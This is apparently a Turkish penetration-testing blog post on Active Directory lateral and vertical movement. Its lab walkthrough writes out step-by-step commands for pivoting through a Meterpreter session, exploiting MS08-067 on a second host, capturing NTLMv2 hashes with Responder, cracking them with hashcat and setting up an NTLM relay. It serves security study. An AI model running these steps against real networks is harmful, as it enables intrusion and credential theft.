Saldırgan, mevcut yetkilerini kullanarak aynı yetki seviyesindeki farklı cihazlara geçer.


Genellikle ağ keşfi ve bilgi toplama ile başlar.


Amaç, kritik sistemlere veya daha fazla kullanıcı hesabına erişim sağlamaktır.


Örnek teknikler:


SMB paylaşımına erişim (ör. Pass-the-Hash).


Uzaktan komut yürütme (ör. PSExec, WMI).


Kimlik bilgisi çalma (ör. Mimikatz kullanımı).


Kullanım Alanları:


Ağın daha geniş bir kısmını kontrol altına almak.


Hassas sistemlere veya veritabanlarına erişim sağlamak.


Örnek Senaryo:


Bir saldırgan, bir kullanıcının kimlik bilgilerini çalar ve bu bilgileri kullanarak başka bir bilgisayara bağlanır.


2. Dikey Hareket (Vertical Movement)


Tanım:


Saldırganın, mevcut sistem veya ağ içindeki yetki seviyesini artırma sürecidir. Amaç, daha fazla erişim yetkisi kazanarak kritik sistemlere veya verilere ulaşmaktır.


Özellikleri:


Kullanıcıdan yöneticiye (privilege escalation) doğru bir ilerleme söz konusudur.


Hedef, daha yüksek yetkili bir hesap veya daha hassas bir sistemdir.


Örnek teknikler:


Privilege Escalation saldırıları.


Güvenlik açıklarının istismarı (ör. CVE'ler).


Yetkili kullanıcı bilgilerini çalma veya taklit etme.


Kullanım Alanları:


Yönetici yetkileri elde etmek.


Hassas sistemlere (ör. Domain Controller) erişim sağlamak.


Örnek Senaryo:


Bir saldırgan, düşük yetkili bir kullanıcı hesabını ele geçirir ve bir güvenlik açığı istismar ederek sistem yöneticisi yetkileri kazanır.











Özellik

Yatay Hareket

Dikey Hareket


Amaç

Ağda daha fazla sisteme erişmek.

Daha yüksek yetki seviyeleri kazanmak.


Hedef

Farklı cihazlar veya kullanıcılar.

Daha yüksek yetkili kullanıcılar.


Başlangış Seviyesi

Genelde mevcut yetki ile çalışır.

Mevcut yetkileri arttırmaya çalışır.


Teknikler

Kimlik bilgisi çalma, ağ keşfi, uzaktan erişim.

Güvenlik açıklarını istismar, yetki yükseltme.


İlişki

Yatay hareket, dikey hareketten önce gerçekleşebilir.

Dikey hareket sonrası yatay harekete devam edilebilir.





Penetrasyon Testlerinde Önemi


Yatay Hareket: Ağın geniş bir kısmını ele geçirerek olası hedef sistemleri belirlemek.


Dikey Hareket: Kritik kaynaklara veya verilere erişmek için daha fazla yetki kazanmak.

Ara bilgi bitiş:


devam edelim:


persistece => [link]


bunu ile kalıcılık sağlaya bilirsiniz. Araştırım deneyin.
AD Ağı Pivoting Aşaması


Bildiğimiz üzere samsun makinesi üzerinde meterprete de ipcofig dersek 10.0.0.10 ip sini göreceğiz


amacimız ise arka tarafta 10.0.0.11 makinesine gitmek


bunun için sessions larda samsun makinesine geçelim


sessions 7


ipconfig


sysinfo


shell


arp -a dediğimizde :


10.0.0.11 00-0c-29-40-2c-47 dynamic


bunu göreceğiz


exit


run autoroute -s 10.0.0.0/24


run autoroute -p


akti olduunu göreceğiz


ve 10.0.0.0 network üne sessions 7 üzerinden gidebiliyoruz


445 portunu port taraması ile açık bulduğumuzu varsayalım


meterprete de


portfwd add -p 445 -l 4445 -r 10.0.0.11


şimdi backround a alalım


search ms08


bu çok eski bir zafiet


exploit/windows/smb/ms08_067_netapi


set PAYLOAD windows/meterpreter/bind_tcp


set RHOST 10.0.0.11


check


run


sysinfo


ve karşı hedefimize ulaştık :)
LLMNR POISONING VE NTLM RELAY ATAĞI


Henüz bilinmeyen veya yanlış yazılmış bir paylaşıma gitmeye çalıştığımızda network’e bir broadcast yayımı yapar.


Örn: dogukan, dogukan kim, doguka nedere?


Responder aracı bu isteği yakalıyor ve sonrasında sizin ona bir istek yapmanızı sağlıyor


ve parolanın NTLMv2 hash ini yakalamayı hedefliyor.


Responder -I <network arayüzü örn: eth0>


sonra


ADPC sinde ctrl + r


\\dogukan


cd /usr/share/responder/logs


ls


SMB ile başlayan bir dosya var bunu cat ile açın


bunlara yönelik bir brute-force saldırısı yapabilirsiniz


örn:


sudo hashcat -a 3 -m 5600 SMB-NTLMv2-SSP-fe80::7c38:7499:6072:8aa8.txt


gibi


NTLM paketlerini isterseniz relay atakta da kullanabiliriz.


Temelde network üzerinde SMB Signing(smb imzalama) sı disable olanları bulmamız gerek


sudo nmap -p 445 192.168.11.0/24 --script=smb-security-mode -Pn -n -oN smb-signing


cat smb-signing|grep disabled -B 12


ek olarak sadece ipleri ayıklamak istediğimizde


cat smb-signing|grep disabled -B 12|grep Nmap|awk {‘print $5’} > targets


targets dosyasına kaydettik


şimdi bu işlemi yaptıktan sonra


responder da birkaç ayar yapıldıktan sonra impacket-ntlmrelayx de hash dump ları alacaksınız


eğer yetkili bir sessions, hatalı veya ilk defa yaptığı bir istek yakalanırsa oradan hash dump alınır


bu da size challenge olsun.

Yorumlar

Popüler Yayınlar

Web Fundamentals

Geolocating Images

PortSwigger Lab

PhoneInfoga ile Telefon Numarası Taraması: Kurulum ve Kullanım Rehberi